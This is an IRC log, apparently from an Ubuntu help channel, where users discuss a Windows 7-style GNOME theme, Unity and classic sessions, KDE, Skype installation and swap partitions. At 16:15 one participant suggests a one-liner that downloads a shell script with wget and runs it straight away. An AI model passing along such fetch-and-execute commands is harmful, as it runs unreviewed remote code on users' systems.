[16:02] <bhavesh> lol?
[16:03] <KM0201> 'Use Linux to install Windows 7 theme..."
[16:03] <bhavesh> huh?
[16:03] <KM0201> nothing
[16:03] <bhavesh> well
[16:03] <bhavesh> its a gnome theme
[16:03]  * KM0201 sometimes i think my humor is lost in irc.
[16:03] <bhavesh> to make ubuntu look like windows 7
[16:03] <KM0201> oh ok... is the theme named windows 7?
[16:03] <bhavesh> lol no its isnt..
[16:03] <bhavesh> yes
[16:03] <bhavesh> it isnt*
[16:04] <KM0201> and hy on earth would you want gnome to look like win7.. the fact it doesn't, is one of its endearing qualities
[16:04] <KM0201> geez.
[16:04] <bhavesh> becoz I like the windows UI
[16:04] <bhavesh> and windows susks
[16:04] <bin_bash> then use windows
[16:04] <bhavesh> sucks*
[16:04] <KM0201> bhavesh, you're a sick man
[16:04] <bin_bash> god that makes me twitch
[16:04] <bhavesh> lol
[16:04] <bin_bash> >I like the windows UI
[16:04] <ActionParsnip> KM0201: cos it can is one answer
[16:04]  * bin_bash has a seizure
[16:04] <KM0201> ActionParsnip, true enogugh.
[16:05] <bin_bash> I can run KDE desktop on OS X but WHY?!?!! WHYYYYY!?!?!
[16:05] <bhavesh> well windows sucks but I just like how it looks..
[16:05] <bhavesh> thats all
[16:05] <KM0201> bin_bash, have you considered begging for a USB wireless device that is known to function w/ Linux?
[16:05] <bin_bash> KM0201: I'm on craigslist looking for one right now lol
[16:05] <ActionParsnip> KM0201: I used to have 3 logins, each one made their theme look like a different OS.Funny stuff
[16:05] <KM0201> ActionParsnip, lol
[16:05] <ActionParsnip> although essentially pointless
[16:05] <bin_bash> I looked into running gnome on os x
[16:06] <bin_bash> but... bloated UI on top of bloated UI seems... BAD.
[16:06] <bhavesh> can anyone guess the reason behind this meaningless error?
[16:06] <bin_bash> what's the error?
[16:06] <Superstar> In 11.04 launch, will there be an option to switch between the new unity (I think that's what they call it?) interface to the old 10.10 interface?
[16:06] <bhavesh> it says "Use Gnome to install windows 7 theme"
[16:06] <bhavesh> and I am using GNOME 2 on 11.04
[16:06] <bhavesh> (classic ubuntu)
[16:07] <bhavesh> http://i.imgur.com/DjriW.png
[16:07] <bin_bash> Superstar: yes you select ubuntu classic. It's what I'm using now. I won't use unity.
[16:07] <Superstar> bin_bash what is ubuntu classic?
[16:07] <ActionParsnip> btw, I can recommend apt-fast (comes from a ppa) its spiffy :)
[16:07] <KM0201> Superstar, its the "traditional" gnome, rather than the new 'unity' interface
[16:08] <bin_bash> Superstar: gnome basically
[16:08] <bin_bash> bhavesh: what theme are you using? I like your top panel.
[16:08] <bhavesh> bin_bash u mean the chromium theme...?
[16:08] <ActionParsnip> bhavesh: its pointless info, just click ok
[16:08] <bin_bash> bhavesh: The icon theme
[16:09] <bhavesh> ActionParsnip, it closes down if I do so..
[16:09] <Superstar> bin_bash km0201: oh good. how would i select the traditional interface?
[16:09] <bhavesh> bin_bash just the normal theme which comes by default
[16:09] <KM0201> Superstar, at sign on screen, choose "sessions" and "ubuntu classic"
[16:09] <jamil_1> hello, I have unity here. Windows apparently donot get focus because I am unable to click on any in-application buttons like tabs of firefox. any fix ?
[16:10] <Superstar> km0201 thank you!
[16:10] <bin_bash> bhavesh: not for me. the shutdown button looks like an ugly light switch
[16:10] <bhavesh> bin_bash, lol its just normal didn't change anything..
[16:10] <bin_bash> man i'm jelly
[16:11] <bhavesh> I was trying to install windows theme from here : http://www.howtogeek.com/55985/how-to-make-ubuntu-linux-look-like-windows-7/
[16:11] <bhavesh> ...
[16:12] <bhavesh> bin_bash: well the icons are ubuntu-mono-dark
[16:12] <KM0201> bhavesh, don't kno about the theme, but i like the wallpaper
[16:12] <bhavesh> maybe I should remove the idea of installing windows theme on ubuntu from my mind :(
[16:14] <th1> in Ubuntu 10.10 I had set an option, "Require password after suspend" or something like that, to "No", so it wouldn't show the password screen after a suspend by closing the lid
[16:14] <ActionParsnip> bhavesh: delete the files and don't use sudo for ANY of it. I have posted on that and another page I saw the same nonsense that sudo isn't needed
[16:14] <th1> but after upgrading the Natty it shows again the password prompt and I can't find the option anymore, has it moved somewhere else?
[16:15] <ActionParsnip> bhavesh: try: wget http://web.lib.sun.ac.za/ubuntu/files/help/theme/gnome/win7-setup.sh; chmod +x ./win7-setup.sh; ./win7-setup.sh
[16:15] <bhavesh> ok ty
[16:16] <bin_bash> good god.
[16:16] <bin_bash> i cant be on the internet and on the phone simultaenously apparently
[16:16] <bhavesh> what about cs ~/
[16:16] <bhavesh> cd ~/**
[16:17] <bhavesh> chmod: changing permissions of `./win7-setup.sh': Operation not permitted
[16:17] <bin_bash> someone is selling their usb adaptor for 15 bucks effyeah
[16:19] <th1> I found out how to fix it from gconf-editor
[16:19] <th1> although it was not very straighforward
[16:19] <th1> it should have a tickbox in the Power Management, "Lock screen after suspend"
[16:19] <th1> even windows has it
[16:19] <th1> *even XP
[16:19] <bhavesh> well its showing the same thing "Use GNOME to use windows theme..
[16:21] <ActionParsnip> bhavesh: run it from your home dir
[16:21] <bhavesh> ...?
[16:21] <bhavesh> home/bhavesh
[16:21] <no-nick> my gnom deamon just crashed how can i restart gnome without restarting the machine ?
[16:21] <bin_bash> I cannot figure out how to set a keybinding to show all windows open. Anyone?
[16:21] <ActionParsnip> bhavesh: run: cd   and it will change your pwd to $HOME
[16:22] <no-nick> bin_bash Logo+tab
[16:22] <ActionParsnip> bin_bash: do you use compiz?
[16:22] <bin_bash> ActionParsnip:  yeah
[16:23] <ActionParsnip> bin_bash: use the scale plugin
[16:24] <bhavesh> why the H does it think that I am not using GNOME desktop?
[16:24] <bhavesh> I guess its becoz of 11.04
[16:24] <KM0201> pebkac
[16:25] <yofel> no-nick: logging out will restart gnome
[16:25] <no-nick> ok thanks
[16:25] <ActionParsnip> bhavesh: you can use kubuntu 11.04   the release doesn't define the DE
[16:25] <no-nick> and can I install KDE on 11.04 ?
[16:25] <yofel> running g-s-d from alt+f2 *might* work too
[16:25] <yofel> no-nick: sure, install kubuntu-desktop if you want both
[16:25] <bhavesh> well im using ubuntu
[16:26] <yofel> no-nick: the package I mean
[16:26] <no-nick> yofel I am using ubuntu now
[16:26] <ActionParsnip> or for minimal install kde-standard
[16:26] <yofel> no-nick: yep, then open synaptic and install kubuntu-desktop (or kde-standard, but we don't test if that works)
[16:27] <bin_bash> ActionParsnip: that didn't work
[16:28] <ActionParsnip> bin_bash: enable the plugin.I set the initiator to the bottom right corner with my mouse
[16:28] <bin_bash> yeah it didnt do anything though
[16:32] <bhavesh> ActionParsnip: no luck still
[16:32] <bin_bash> ActionParsnip: which particular thing am i looking for in the scale plugin?
[16:33] <Guest38617> hello i want to report youu an mistake
[16:34] <Guest38617> in ubuntuu
[16:34] <Guest38617> u
[16:34] <bin_bash> you want us to?
[16:34] <bhavesh> maybe he wants to report a bug
[16:34] <yofel> !bugs
[16:36] <Guest38617> in ubuntu 11.04 there stand "LibreOffic unterstützt.."
[16:36] <Guest38617> but it must be LibreOfficE
[16:37] <Guest38617> ubuntu-bug
[16:37] <Guest38617> !ubuntu-bug
[16:37] <KM0201> !isitoutyet
[16:37] <KM0201> :)
[16:37] <yofel> that sounds like a translation issue, *where* does it show that?
[16:37] <Guest38617> !listoutyet
[16:37] <Guest38617> ubuntu-bug
[16:37] <Guest38617> !listoutyet
[16:37] <Guest38617> yofel: in the slideshow
[16:38] <bin_bash> !skype
[16:38] <KM0201> bin_bash, its pretty easy to install.
[16:38] <bin_bash> idk which one
[16:38] <yofel> Guest38617: for which installer? K/X/L/Ubuntu ?
[16:38] <Guest38617> KDE
[16:38] <KM0201> what do you mean?
[16:38] <yofel> Guest38617: press alt+f2 and enter 'ubuntu-bug ubiquity-slideshow-kubuntu'
[16:38] <bin_bash> well when i go to the skype page they have lots of different distros listed
[16:39] <KM0201> oh ok.
[16:39] <Guest38617> ubuntu-bug ubiquity-slideshow-kubuntu
[16:39] <bhavesh> Guest38617: u have to use "ubuntu-big-app_name" not here but in ur terminal
[16:39] <yofel> Guest38617: in krunner, not here
[16:39] <KM0201> bin_bash, you have 64bit ubuntu right?
[16:39] <KM0201> if so, download the 64bit .deb
[16:39] <bin_bash> ok
[16:39] <KM0201> if 32bit, download the 32bit .deb
[16:39] <ActionParsnip> bin_bash: http://ubuntuguide.net/install-skype-on-ubuntu-11-04-natty-narwhal-3264-bit
[16:40] <Guest38617> binb_bash or add my repos
[16:40] <ActionParsnip> simple websearch pulled that up...
[16:40] <KM0201> bin_bash, i bet you're gonna get a letter from AT&T about the amount of data you're using
[16:40] <KM0201> lol
[16:40] <bin_bash> i have sprint
[16:40] <KM0201> well, sprint then
[16:40]  * KM0201 hates sprint, but i'm stuck w/ them
[16:41] <ActionParsnip> voice data is quite small
[16:41] <KM0201> is it?
[16:41] <ActionParsnip> however webcam may be more
[16:42] <no-nick> back
[16:42] <no-nick> thanks guys
[16:42] <no-nick> logging off and on helped
[16:42] <ActionParsnip> KM0201: think about the infastructure carrying voice. The bandwidth needed is about 8kbps for a G.729 call
[16:43]  * yofel makes a random note to charlie-tca that xubuntu has come out pretty nice in natty :)
[16:43]  * charlie-tca hugs yofel 
[16:43] <no-nick> what is the alternative to kubuntu-desk ?
[16:43] <KM0201> no-nick, gouging out your eyeballs,.
[16:43] <ActionParsnip> no-nick: lxde
[16:43] <KM0201> w00t
[16:44] <yofel> no-nick: alternate as in...?
[16:44] <no-nick> KM0201 ?!
[16:44] <no-nick> as something else that will let you switch between gnome and KDE
[16:44] <KM0201> no-nick, poor attempt at humor i guess... in otherwords, i'd prefer anything to KDE.
[16:44] <no-nick> oh now i got it !
[16:45] <KM0201> lol
[16:45] <stefanivarsson> Have old laptop (HP pavillion zv5000 with nvidia gpu) Unity does not work and I tried Unity2 but there was still some bugs. Now I have windowmgr issues
[16:45] <yofel> well, if you want to install KDE here, kubuntu-desktop is the recommended way, kde-standard and -full are there too, but not tested
[16:45] <ActionParsnip> no-nick: there are many desktops you can use, have a sniff around
[16:45] <bhavesh> ok anyone tried BURG here?
[16:45] <stefanivarsson> Have to do Compiz --replace (or Metacity --replace) to get it to work. Any ideas on getting it to stick from start?
[16:45] <yofel> if you mean other desktop envs XFCE and LXDE are the larger ones from the alternatives
[16:45] <no-nick> I am new to ubuntu and just got hang of gnome so i wanna keep it for a while
[16:46] <stefanivarsson> Remember a similar issue that was solved with a gconf key but can not find the URL any more
[16:46] <no-nick> is there a way for fast switching between two different desktop ?
[16:46] <ActionParsnip> yofel: xfce and lxde are significantly lighter than gnome and kde
[16:46] <yofel> ActionParsnip: *that* I know
[16:46] <KM0201> bin_bash, did you get skype installed
[16:47] <yofel> he was talking about KDE, so I advised that, but the others work perfectly fine too
[16:47] <bin_bash> KM0201: installing it now
[16:47] <ActionParsnip> no-nick: log off, click username, select DE at the bottom, log on
[16:47] <KM0201> ok
[16:47] <no-nick> cool
[16:47] <no-nick> let me install KDE and see how it goes !
[16:47] <bin_bash> immad.jpg
[16:47] <KM0201> don't do it.. KDE is a linux virus!.. ;0 (another joke)
[16:47] <bhavesh> lol..
[16:47] <no-nick> lol
[16:47] <bhavesh> !KDE
[16:48] <ubuntu4shane> I'm surprised that the beta2 is only going to be tested for 1 week???  I went ahead and installed.
[16:48]  * yofel pokes KM0201 and notes that he's a KDE user...
[16:48] <KM0201> :)
[16:48]  * KM0201 dawns the protection of Gnome
[16:48] <yofel> ubuntu4shane: 2 week, there will be no RC from what I know
[16:48] <yofel> *weeks
[16:48] <bin_bash> KM0201: skype wouldnt install
[16:48] <KM0201> bin_bash, did you get that "unsafe package" error?
[16:48] <ubuntu4shane> if I'm installing  and /home is the same and username /home is the same as old user should I delete or move any folders before installing?
[16:48] <ActionParsnip> bin_bash: run:  sudo apt-get -f install    and it will install
[16:49] <KM0201> or... just download Gdebi, and use Gdebi to insall it
[16:49] <KM0201> i hate using -f
[16:49] <ActionParsnip> ubuntu4shane: should be ok without deleting
[16:49] <KM0201> it just feels so dirty
[16:49] <ubuntu4shane> yofel: wasn't beta2/RC only released on the 14th?  and isn't it going to be released on the 22?
[16:49] <no-nick> thannks KM0201
[16:49] <no-nick> but i went with apt-get
[16:49] <yofel> ubuntu4shane: no, 28th
[16:49] <KM0201> !isitoutyet
[16:49] <no-nick> and its already 15% downloaded
[16:49] <yofel> ubuntu4shane: see schedule in /topic
[16:49] <ActionParsnip> KM0201: why it (f)ixes the packages by downloading missing deps, you hate fixing your packages? very strange
[16:49] <KM0201> no-nick, i tried to warn you.
[16:50] <ubuntu4shane> yofel: ahhh, ok, somehow I had the 22 stuck in my head.
[16:50] <bin_bash> ActionParsnip: that removed it
[16:50] <KM0201> i thought -f meant force.. guess i was misinformed... still though, Gdebi does the exact same thing.. it will also download the deps
[16:50] <no-nick> KM0201: no-nick is crazy enough to go for it !
[16:50] <ActionParsnip> bin_bash: did you use the link I gave?
[16:50] <bin_bash> yeah
[16:50] <ActionParsnip> KM0201: i suggest you read the man page before expressing opinions
[16:51] <bhavesh> why does my internet on ubuntu works 5 times faster?
[16:51] <KM0201> ActionParsnip, i didn't say it was unsafe, i said i didn't like it
[16:51] <bhavesh> than windows...
[16:51] <ubuntu4shane> ActionParsnip: ok, but will that import all my gnome settings into unity and give me an ugly intro to unity?  I had that happen when I installed unity on 10.10 to see what it was, and I was very un-impressed because my desktop was a complete mess.
[16:51] <ActionParsnip> bhavesh: different coding of the network stack
[16:52] <ubuntu4shane> also is there a Unity new users guide?  I'm pretty dump to this unity stuff, but willing to give it a try.
[16:52]  * bhavesh laughs on Microsoft
[16:52] <ActionParsnip> ubuntu4shane: it should import your settings for apps and such. I'd give it a go
[16:52] <no-nick> bhavesh, and also because it dosn't download stuff that your not aware of it unlike windows.
[16:52] <izinucs> I just minimized Chromium and had to CTRL+TAB to find it again.. there was no indication it was minimized anywhere.  Have I missed turning something on or is there an indicator that needs setting up?
[16:52] <ActionParsnip> KM0201: not liking wanting to satisfy deps is a it obscure in a package basedOS
[16:52] <cadorett> Is there some mode more failsafe/lower level then single user mode? I can't seem to get any interactive display up when booting into 11.04 beta 2 after a fresh install? I installed using alternate cd.
[16:53] <ubuntu4shane> ActionParsnip: ok, maybe I will see how it goes, I guess I can find instructions for reseting the desktop to a default and then arranging it to my liking later.
[16:53] <KM0201> ActionParsnip, you're obvviously in a pissy mood today or something, i didn't say i don't like satisfying deps.
[16:53] <no-nick> izincus: in the Application-Bar* the open applications icons are outlined.
[16:53] <cadorett> All that is displayed is some corrupted looking lines in about 1/5th of the screen
[16:53] <stefanivarsson> @ubuntu4shane. Look at System->Help and Support. Pretty good start on Unity
[16:54] <ubuntu4shane> stefanivarsson: thanks!  I always forget the most obvious!  :)
[16:54] <no-nick> 65% of Linux Virus is Downloaded yet ! i hope it let me use my computer.
[16:54] <ActionParsnip> KM0201: http://pastebin.com/DMxhffVe
[16:54] <bhavesh> Linux Virus?
[16:54] <KM0201> ActionParsnip, ok, where did i say it wasn't safe again?
[16:54] <ActionParsnip> ubuntu4shane: you can always rename the.gnome etc folders then reboot to get vanilla settings
[16:54] <cadorett> Or perhaps is there some way to install an nvidia driver using another ubuntu install
[16:54] <ActionParsnip> KM0201: just saying you hate -f was a bit weird, thats all
[16:55] <no-nick> bhavesh: KM0201 can explain it to you ! lolz
[16:55] <KM0201> well, you seem really hung up on it for some reason...
[16:55] <izinucs> no-nick: doesn't appear that way here.. When I click on the cromium link again it simply loads another instance of itself
[16:55] <bhavesh> He's always joking, no-nick
[16:55] <no-nick> haha yeah, which is good, bhavesh.
[16:55] <KM0201> bhavesh, ah, i wouldn't say always joking, i'm just pretty laid back most of the time
[16:55] <bhavesh> yup
[16:56] <bhavesh> good
[16:56] <KM0201> i'm serious when someone is actually needing help.
[16:56] <no-nick> izinucs: for the open applications i have pointers on both side and for the minimised ones there is only one at the left side
[16:56]  * bhavesh feels pity on my school mates who still don'y know about any other OS
[16:57] <bhavesh> on his** lol
[16:57] <bhavesh> dont**
[16:57] <elias> is it normal for pulseaudio to be in the notification area, and for it to not find its icon?
[16:57] <no-nick> KM0201: yeah you are! man no one said something like that :D
[16:58] <KM0201> :)
[16:58] <bhavesh> KM0201 is 60% responsible to keep others happy :)
[16:58] <izinucs> no-nick: for the terminal window open running irssi I have 2 pointers when the window is in focus and only one when it isn't.  However no such thing with chromium
[16:58] <KM0201> lol
[16:59] <KM0201> bhavesh, i think it was you i was talking to about this.. did i tell you i finally go tthat "moving window' bug?...
[17:00] <no-nick> izincus i have it with chrome as well, have ticked "Keep in launcher" ?
[17:00] <bhavesh> moving window?
[17:00] <izinucs> no-nick: where do you place that tic?
[17:00] <KM0201> maybe it wasn't you.. where when a maximized window is minimized, it moves to another workspace
[17:00] <bhavesh> no, KM0201 you were talking about chromium top bar going back to ubuntu default
[17:00] <bhavesh> nope :)
[17:00] <KM0201> thats right.
[17:01] <no-nick> right click on the application icon on the Launcher (the application bar thingy)
[17:01] <izinucs> no-nick: just figured that out.. and it was already ticked.. as I had dragged to the launcher bar..
[17:03] <no-nick> izinucs: even if the chrome is not minimised clicking on the icon dosn't opens a new instance.
[17:03] <no-nick> which version of chrome are you using ?
[17:04] <no-nick> KDE installed !
[17:04] <no-nick> trying the linux virus for the first time !
[17:04]  * KM0201 shutters
[17:04] <bhavesh> KM0201: I need o unswap sda5, sda6 and sda7 and format them? http://i.imgur.com/yYXdF.png
[17:04] <no-nick> hope to see you guys from KDE!
[17:04] <yofel> *sigh*, it's not a virus...
[17:04] <no-nick> lolz, yofel
[17:05] <no-nick> i know i just liked that.
[17:05] <KM0201> bhavesh, wow.. thats... um, interesting
[17:05] <KM0201> how on earth did you do that?
[17:05] <no-nick> brb
[17:05] <bhavesh> I did what?
[17:05] <KM0201> well, you have 4 swap partitions.
[17:05] <izinucs> no-nick: iif chrome *is* minimized and the icon is clicked I do get another loaded instance of it.
[17:05] <KM0201> 1.. appropriately sized, is more than sufficient
[17:05] <bhavesh> yup.. I showed it to u even before
[17:05] <KM0201> you've got 30gigs unallocated..
[17:06] <bhavesh> yes
[17:06] <bhavesh> about 50Gigs
[17:06] <bhavesh> or even 70
[17:06] <KM0201> bhavesh, if it were me, i'd delete that whole extended partition, and start over
[17:06] <bhavesh> extended partition? are u talking about sda4? KM0201
[17:07] <KM0201> yes
[17:07] <KM0201> but thats just me
[17:07] <bhavesh> ok
[17:07] <KM0201> bhavesh, but... you can turn the swaps off, by right clicking them....
[17:07] <bhavesh> I think I should format those linkx swap partitions and join them together?
[17:07] <KM0201> bhavesh, well, if you delete the entire extended partition, the swaps are gonna go away.
[17:08] <KM0201> (but so will ext4)
[17:08] <bhavesh> even the grup is gonna go away..
[17:08] <KM0201> the issue w/ movin the swaps.
[17:08] <bhavesh> grub
[17:08] <KM0201> bhavesh, well, the point is to reinstall...
[17:08] <KM0201> the problem if you try to move the swaps..
[17:08] <KM0201> to be "all together"
[17:08] <KM0201> the partitioner is gonna have to move your ext4, to make room.;
[17:08] <KM0201> and that could take quite a while
[17:08] <KM0201> see what i'm saying?
[17:09] <bhavesh> ill unswap all the SWAP partitions, format them and make them one then SWAP it again?
[17:09] <KM0201> yeah, you could try that... but
[17:09] <izinucs> no-nick: check it out http://img695.imageshack.us/i/screenshotyr.png/
[17:09] <bhavesh> ?
[17:09] <KM0201> lets say you're gonna leave sda6, as your swap
[17:09] <bhavesh> ok
[17:09] <KM0201> and you want to merge the other two to it.
[17:09] <KM0201> 7 and 5
[17:10] <bhavesh> ok?
[17:10] <KM0201> 7 and 5, are at the end of the partition
[17:10] <KM0201> and 6 is at the beginning.
[17:10] <bhavesh> yes.. does that matter?
[17:10] <KM0201> to merge 6, with 7 and 5...its gonna ahve to move ext4, which is huge.. and it could take a while, that was my only point
[17:10] <KM0201> bhavesh, pretty sure it does.
[17:11] <bhavesh> KM0201: lol so I will just format sda 5 and 7 merge them and then..... mix them with the unallocated part?
[17:11] <bhavesh> when u make a partition does it draw some line kinda thing on hard drive?
[17:11] <KM0201> you could do that to... or.. like i said, just nuke the entir eextended partition and make it unallocated, then reinstall to the unallocated partition, and set it up properly
[17:12] <KM0201> bhavesh, not really a line, but the data is stored in order (or at least thats my understanding)
[17:12] <bhavesh> ok
[17:12] <KM0201> hang on a sec, lemme check something
[17:12] <bhavesh> hmm let me think.
[17:12] <bhavesh> KM0201: does writing and erasing data on Hard Drive again and again damage it?
[17:13] <KM0201> i wouldn't think so.. i've formatted my laptop drive more times than i care to think about.. i mean, eventually a hard drive is gonna go bad, from being written/rewritten...
[17:13] <KM0201> but...
[17:13] <KM0201> unless yu're using an SSD, or if you're installing to a USB drive... which typically have a limited number of writes before they go kaput, you should be fine
[17:13] <bhavesh> I dont even know what is an SDD
[17:13] <bhavesh> !SDD
[17:14] <bhavesh> lol
[17:14] <KM0201> solid state drive.
[17:14] <bhavesh> ok
[17:14] <KM0201> the newest rage in computers...
[17:14] <bhavesh> ok
[17:14] <KM0201> spend double the money, for half the space1
[17:14] <KM0201> !
[17:14] <bhavesh> o.o
[17:15] <RowanH> When I enable edge flipping while dragging a window, it makes it so I can't use the "Grid" feature. Is there any way to make it so when I'm holding shift while dragging a window it will move to the next workspace?
[17:15] <afghan> back
[17:15] <afghan> from KDE!
[17:16] <no-nick> KDE seems to work fine in 11.04
[17:16] <KM0201> bhavesh, i actually have an idea.
[17:16] <izinucs> Looks like chromium doesn't have indicators in the side icon bar showing that it's loaded.  Terminal does as well as firefox.. http://img402.imageshack.us/i/screenshot1re.png/
[17:16] <KM0201> if your goal is a bigger swap....
[17:16] <bhavesh> yes?
[17:16] <KM0201> bhavesh, if your goal is a bigger swap.. then i think the easier thing to do, would be to delete sda6(which is only 1.5gig)
[17:17] <no-nick> why is ubuntu packed with Gnome !?
[17:17] <KM0201> then merge 7 and 5... that will give you a 4gig swap, and you'll have another 1.5 unallocated
[17:17] <KM0201> no-nick, don't tell me you like kde
[17:17] <no-nick> i mean KDE looks much better then gnome and is faster ?
[17:17] <damadprof> hi guys, I'm using the ubuntu classic desktop; it appears that the menu bars of every window I open is situated at the top, this leaves a window I cannot move, bit difficult when I need to get to the bottom of one window when it is off the screen slightly, is there a setting to later this at all?
[17:17] <KM0201> faster?
[17:17] <no-nick> yeah!
[17:17] <KM0201> i used KDE for about 45min the other day.. i kid you not, i broke out in hives
[17:17] <KM0201> lol
[17:17] <bhavesh> KM0201: erm If I format my sda6.. u said it would take time to move ext4 ..
[17:18] <no-nick> will i got a prbook 4320 with core i5
[17:18] <no-nick> maybe i got lots of resources
[17:18] <KM0201> bhavesh, you could probably format sda6, and then resize sda8, to take up the space that sda6 occupies... it would probably take a little time, but probably not bad
[17:18] <KM0201> no-nick, it wasn't the fact that it was slow that bothered me (although it was)
[17:18] <KM0201> the interface is just awful
[17:19] <KM0201> adding stuff to the panel, was like trying to bargain with a two year old to get a shot.
[17:19] <no-nick> eih, its not that bad KM0201
[17:19] <bhavesh> KM0201: a better idea.. I would format my whole sda4, use windows 7 for sometime.. then switch back to ubuntu when the stable version comes out?
[17:19] <KM0201> no-nick, well, all i'll say is.. thank goodness for choice.
[17:19] <no-nick> lolz
[17:20] <KM0201> bhavesh, only problem with that, is you'll get a grub error.
[17:20] <KM0201> when you try to boot (after deleting sda4.
[17:20] <no-nick> but its not fair that ubuntu is only packed with gnome
[17:20] <KM0201> no-nick, well, they can only  make a 690mb ISO...
[17:20] <bhavesh> then ill have to do is fixmbr with windows 7 CD..
[17:20] <KM0201> so there's only so much awesome that can be packed on
[17:21] <bhavesh> ill first enable windows boot screen
[17:21] <KM0201> bhavesh, ok, if you're comfortable w/ that... then i dont think thats a bad plan
[17:21] <no-nick> fair enough :) ,KM0201
[17:21] <BluesKaj> KM0201, odd cuz i found gnome really unintuative to navigate , not particularly user friendly or even easy on the eyes.
[17:21] <KM0201> no-nick, besides that, there si "Kubuntu" that comes packed w/ KDE, if thats what you want
[17:21] <bhavesh> KM0201: ok :) ill c u then when I get back ubuntu
[17:21] <KM0201> bhavesh, best of luck
[17:21] <bhavesh> KM0201: ty
[17:22] <bhavesh> bb
[17:22] <KM0201> BluesKaj, its obviously alla  matter of opinion.. i just cannot use KDE.. .i hated KDE3.. KDE4.. is slightly better, but i still.. ugh. .. i get the shivers thinking about it.
[17:23] <no-nick> KM0210: I have start to realise what you are trying to say :P
[17:23] <BluesKaj> yeah too blue for you methinks KM0201 :)
[17:23] <KM0201> BluesKaj, i tried to use it on a live USB the other day... i honestly am to the point of throwing away that USB to make sure i never try that again..lol
[17:24] <KM0201> honesty, i installed gnome 3 the other day, and i consider it just as bad as KDE
[17:25] <KM0201> if Gnome 3 continues on that course, when it becomes the only Gnome available in Ubuntu, I'll be moving on to lxde most likely
[17:25] <KM0201> or maybe xfce.. ikinda like xfce
[17:25] <lnostdal> seems running 11.04 under virtualbox is quite buggy ..       why does this thing need support from gfx card anyway? ..     my cpu has 4 cores each 3.4GHz each; it can handle 2D stuff without blinking an eye
[17:25] <damadprof> anyone help me with this menu problem? Ubuntu classic interface, slide menu to the left vertical, and a top bar that doesn't seem can be altered, every window I open is stuck to the desktop I cannot move them without their menu bars but they are sitting on thetop taskbar?
[17:26] <no-nick> will
[17:26] <lnostdal> ..it just gives a black screen now ..doesn't even boot
[17:26] <no-nick> the KDE is a bit over-polished
[17:26] <KM0201> lnostdal, because of the default 3D desktop.. you're not gonna get 11.04 to start in vbox.. even w/ 3d enabled
[17:26] <KM0201> overpolished?
[17:27] <lnostdal> why is this an improvement?
[17:27] <KM0201> it's got some serious bloat issues, not that Gnome is a lowfat OS
[17:27] <KM0201> lnostdal, its an improvement, when you're not using Vbox.
[17:27] <no-nick> the design fancy stuff are abit more then what is good.
[17:27] <damadprof> I had kde3 and the fonts in write were terrible, the desktop fonts were nice and sharp but within write..yuk
[17:27] <KM0201> speaking of fonts...
[17:27] <lnostdal> screw this then ..
[17:28] <KM0201> has anyone installed Google Earth, and got those crazy fonts.... ? i haven't figured out how to fix that
[17:28] <no-nick> lolz
[17:28] <no-nick> KDE dosn't has a clock !
[17:28] <no-nick> you have add a widget for it
[17:29] <ubuntu4shane> ok, wicd doesn't show on the panel notification thing?  how do I get that to show up? or how do I reload it to see if it works
[17:29] <damadprof> nope not yet, I need to get this damn menu thing sorted first :(
[17:29] <ubuntu4shane> I think this is why people don't like change, it reverts you to a noob!
[17:29] <damadprof> lol....that'll be me then :)
[17:29] <KM0201> ubuntu4shane, are you using unity, or gnome classic?
[17:29] <ubuntu4shane> unity
[17:30] <KM0201> thats why... wicd.. the applet for it goes to Notification area (which is no longer)... Indicator applet has taken over all that, and wicd doesn't have indicator applet
[17:30] <ubuntu4shane> KM0201: I just did a default install, and thought I would try unity and see if I can figure it out, and if I really like it or not.
[17:30] <damadprof> I wish mine would run unity :(
[17:30] <KM0201> ubuntu4shane, it takes some time to get used to Unity (took me about 4 days)... but after a few days, and figuring out how to navigate it and use it.. i actually kinda like it.
[17:30] <ubuntu4shane> KM0201: ok, so, that is no good, is there a fix/work around?
[17:30] <rejoin> hello, i have downloaded the 11.04 latest beta and it boots in gnome rather than unity, why?
[17:31] <no-nick> ok 2am here
[17:31] <no-nick> gotta hit the hay
[17:31] <no-nick> have a good time everyone and thanks for the help
[17:31] <damadprof> its an acer 8920g with a 512 (ATi-crap) in it :(
[17:31] <KM0201> ubuntu4shane, not that i'm aware of... not to say there isn't, but i don't know how to put the notification area back in the panel, under unity.. like i said, i think the idea is for unity to go away
[17:31] <KM0201> no-nick, night... don't have kde nightmares
[17:31] <no-nick> lolz i will try to !
[17:31] <ubuntu4shane> KM0201: ok, thanks
[17:32] <yofel> no-nick: huh? the clock widget should be there by default o.O
[17:32] <LordNeo> Good Afternoon, i'm having random xserver crashes resulting in me being loged off. No issues in login back, but i want to solve the annoyance. Besides of ~/.xsession-errors is there any other logs i may look for?
[17:32] <darell> have a stupid question - can you help?  <-- that was not it
[17:32] <ubuntu4shane> another question, I used to keep temp indicators on my panels, is there a way to do that in unity?
[17:32] <yofel> no-nick: well, gn
[17:32] <KM0201> ubuntu4shane, i think its just gonna be a gradual process... some apps just don't have an "indicator applet"... while others do.
[17:32] <no-nick> yeah but if you have the panel thingy
[17:32] <no-nick> gn everyone
[17:32] <no-nick> bye
[17:32] <damadprof> n
[17:32] <ubuntu4shane> KM0201: right, that is going to be a pain I think till everything gets sorted.
[17:32] <izinucs> KM0201: I'm finding it's like gnome classic without the menu (or direct access to it) with a docky thingy that has some compiz effects.. so far for me it's looking a bit more cumbersome
[17:32] <KM0201> ubuntu4shane, yup.
[17:33] <darell> if i d/l and install 11.04b1 and do updates everyday - does that mean my system should be at 11.04b2 now?  or is that a totally separate upgrade/install?
[17:33] <spacebug-> are one not able to att there own programs to the launcher on the left side? Also is it really a lanucher? First time it opens the program next time it brings me to the first instance of that program I started. I wanted to start a new instance..
[17:33] <KM0201> izinucs, thats a pretty close description actually... i've said several times.. I don't think Unity is perfect (far form it)...  this is obviously a gradual process, and i think by 12.04, or maybe 11.10, we're gonna see Unity looking/functioning much better
[17:34] <trism> spacebug-: you can add your own launchers, right click the desktop, create launcher, then drag it to the launcher sidebar
[17:34] <KM0201> izinucs, remember when ubuntu was migrating to KDE 4, and they just cold turkeyed everyone onto it (i think at 10.04, maybe 9.10... ) an dit sucked...
[17:34] <trism> spacebug-: you can middle click a launcher to start a new instance
[17:34] <KM0201> everyone complained, etc
[17:34] <ubuntu4shane> ok, wicd is out, I tried every command and nothing brings it up to let me configure it!  This is a real problem for me, since the very bad network-manager by default doesn't allow a network ignorant person to setup an IP address, which I need.
[17:34] <KM0201> well, by the next release, they had a majority of the bugs worked out, and by the 2nd release, everyone loved it again
[17:34] <rejoin> any ideas?
[17:35] <KM0201> when yu're completely revamping the user interface, there's bound to be some growing paints.
